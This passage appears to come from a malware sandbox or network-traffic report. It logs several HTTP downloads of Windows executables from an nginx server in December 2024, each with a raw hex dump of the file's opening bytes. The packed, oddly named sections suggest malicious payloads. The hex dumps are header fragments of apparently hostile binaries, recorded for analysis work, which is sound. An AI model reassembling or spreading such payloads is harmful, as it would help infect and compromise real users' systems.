00 00 e0 79 6b 74 64 6e 6e 64 61 00 10 00 00 00 60 c6 00 00 04 00 00 00 10 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 c6 00 00 22 00 00 00 14 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:17:02 GMTContent-Type: application/octet-streamContent-Length: 4433408Last-Modified: Sun, 22 Dec 2024 01:09:57 GMTConnection: keep-aliveETag: "676766e5-43a600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 d0 c5 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 c6 00 00 04 00 00 39 49 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc b2 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c b2 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 72 00 00 10 00 00 00 34 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 72 00 00 02 00 00 00 44 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 72 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 37 00 00 c0 72 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 61 73 66 68 6f 65 74 00 40 1b 00 00 80 aa 00 00 36 1b 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 67 6a 74 65 79 75 72 00 10 00 00 00 c0 c5 00 00 04 00 00 00 80 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 c5 00 00 22 00 00 00 84 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:17:15 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:17:28 GMTContent-Type: application/octet-streamContent-Length: 1959936Last-Modified: Sun, 22 Dec 2024 00:12:20 GMTConnection: keep-aliveETag: "67675964-1de800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 97 69 b8 cb d3 08 d6 98 d3 08 d6 98 d3 08 d6 98 6e 47 40 98 d2 08 d6 98 cd 5a 52 98 ce 08 d6 98 cd 5a 43 98 c7 08 d6 98 cd 5a 55 98 b8 08 d6 98 f4 ce ad 98 d6 08 d6 98 d3 08 d7 98 a0 08 d6 98 cd 5a 5c 98 d2 08 d6 98 cd 5a 42 98 d2 08 d6 98 cd 5a 47 98 d2 08 d6 98 52 69 63 68 d3 08 d6 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a8 2c b1 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 da 02 00 00 40 01 00 00 00 00 00 00 30 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 86 00 00 04 00 00 c5 0a 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b 80 41 00 6f 00 00 00 00 d0 40 00 a0 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 b1 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 40 00 00 10 00 00 00 4e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 a0 ae 00 00 00 d0 40 00 00 70 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 41 00 00 02 00 00 00 ce 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 29 00 00 90 41 00 00 02 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 73 64 73 64 73 72 62 00 f0 1a 00 00 30 6b 00 00 f0 1a 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 74 79 6c 7a 6f 6e 70 00 10 00 00 00 20 86 00 00 04 00 00 00 c2 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 86 00 00 22 00 00 00 c6 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:17:36 GMTContent-Type: application/octet-streamContent-Length: 1845760Last-Modified: Sun, 22 Dec 2024 00:18:45 GMTConnection: keep-aliveETag: "67675ae5-1c2a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 10 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 49 00 00 04 00 00 f1 78 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 74 79 69 6d 6d 6f 6a 00 b0 19 00 00 50 2f 00 00 a6 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6d 62 68 72 6b 6f 76 00 10 00 00 00 00 49 00 00 04 00 00 00 04 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 49 00 00 22 00 00 00 08 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:17:45 GMTContent-Type: application/octet-streamContent-Length: 2955776Last-Modified: Sun, 22 Dec 2024 00:18:56 GMTConnection: keep-aliveETag: "67675af0-2d1a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 50 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 50 00 00 04 00 00 0a 06 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 79 70 68 71 7a 6a 6c 00 80 2b 00 00 c0 24 00 00 76 2b 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 64 6d 73 7a 67 77 6e 00 10 00 00 00 40 50 00 00 06 00 00 00 f2 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 50 00 00 22 00 00 00 f8 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:17:56 GMTContent-Type: application/octet-streamContent-Length: 965120Last-Modified: Sun, 22 Dec 2024 00:16:25 GMTConnection: keep-aliveETag: "67675a59-eba00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a 5a 67 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 0a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 0f 00 00 04 00 00 6c 44 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 b0 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 4e 01 00 00 40 0d 00 00 50 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 90 0e 00 00 76 00 00 00 44 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:18:04 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Sun, 22 Dec 2024 00:16:59 GMTConnection: keep-aliveETag: "67675a7b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 d9 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 73 78 67 75 7a 6e 6e 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6b 73 63 6b 62 66 75 00 20 00 00 00 00 2b 00 00 04 00 00 00 b8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 